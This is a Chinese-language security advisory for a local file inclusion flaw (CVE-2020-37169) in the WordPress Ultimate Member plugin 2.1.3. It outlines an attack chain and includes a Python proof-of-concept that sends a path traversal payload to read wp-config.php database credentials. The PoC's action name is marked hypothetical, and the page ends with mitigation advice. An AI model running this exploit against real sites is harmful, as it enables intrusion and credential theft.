IPBUF安全漏洞报告
English
CVE-2020-37169 CVSS 5.5 中危

CVE-2020-37169 WordPress插件Ultimate Member本地文件包含漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37169
漏洞类型
本地文件包含
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin ultimate-member

相关标签

本地文件包含LFIWordPressUltimate Member代码执行

漏洞概述

WordPress插件Ultimate Member 2.1.3版本存在本地文件包含(LFI)漏洞。该漏洞由于`class-admin-upgrade.php`文件未能正确过滤用户输入的`pack`参数所致。已登录的低权限攻击者可以通过构造恶意的POST请求,利用该漏洞包含任意PHP文件并执行代码,进而泄露敏感信息或在服务器上执行任意命令,构成严重安全威胁。

技术细节

该漏洞位于Ultimate Member插件的升级逻辑中,具体涉及`class-admin-upgrade.php`文件。在处理数据包升级请求时,代码直接将用户通过POST请求提交的`pack`参数用于文件路径拼接,而未进行严格的安全校验或过滤。攻击者利用路径遍历技术(如`../`)或特定的文件名,可以将包含路径指向`packages`目录之外的任意PHP文件。由于WordPress的文件结构,攻击者可能包含日志文件、配置文件或上传的恶意文件。一旦PHP文件被包含,服务器端解析器将执行其中的代码,导致远程代码执行(RCE)。虽然CVSS评分为中危,但结合其他漏洞或特定环境配置,其危害可升级为高危。

攻击链分析

STEP 1
信息收集
识别目标网站运行WordPress,并检测到Ultimate Member插件版本为2.1.3。
STEP 2
获取认证
攻击者注册或获取一个低权限的WordPress用户账户,满足漏洞利用的PR:L条件。
STEP 3
构造请求
攻击者向`class-admin-upgrade.php`接口发送POST请求,在`pack`参数中注入路径遍历字符(如`../`),指向敏感文件(如`wp-config.php`)。
STEP 4
文件包含与执行
服务器端未过滤参数,直接包含并解析攻击者指定的PHP文件,导致文件内容泄露或代码执行。
STEP 5
后续渗透
利用获取的数据库凭证或Webshell进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # The action triggers the upgrade function in class-admin-upgrade.php action = "um_do_ajax_upgrade" # Hypothetical action name based on plugin structure # Attacker's session cookie (requires authentication, PR:L) cookies = { "wordpress_logged_in_example": "attacker_session_cookie_value" } # Malicious payload including a sensitive file using path traversal # Attempting to include wp-config.php to leak database credentials payload_data = { "action": action, "pack": "../../../wp-config.php" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) # Check if the response contains indicators of success (e.g., DB_PASSWORD) if response.status_code == 200 and "DB_PASSWORD" in response.text: print("[+] Vulnerability exploited successfully!") print("[+] Leaked content:") print(response.text[:500]) # Print first 500 chars of response else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

Ultimate Member 2.1.3

防御指南

临时缓解措施
建议立即将Ultimate Member插件更新至最新版本以修复此漏洞。若无法立即更新,应暂时禁用该插件,或通过服务器配置(如.htaccess)限制对插件目录的访问,仅允许受信任的管理员IP访问后台。同时,管理员应检查服务器日志,排查是否已被利用。

参考链接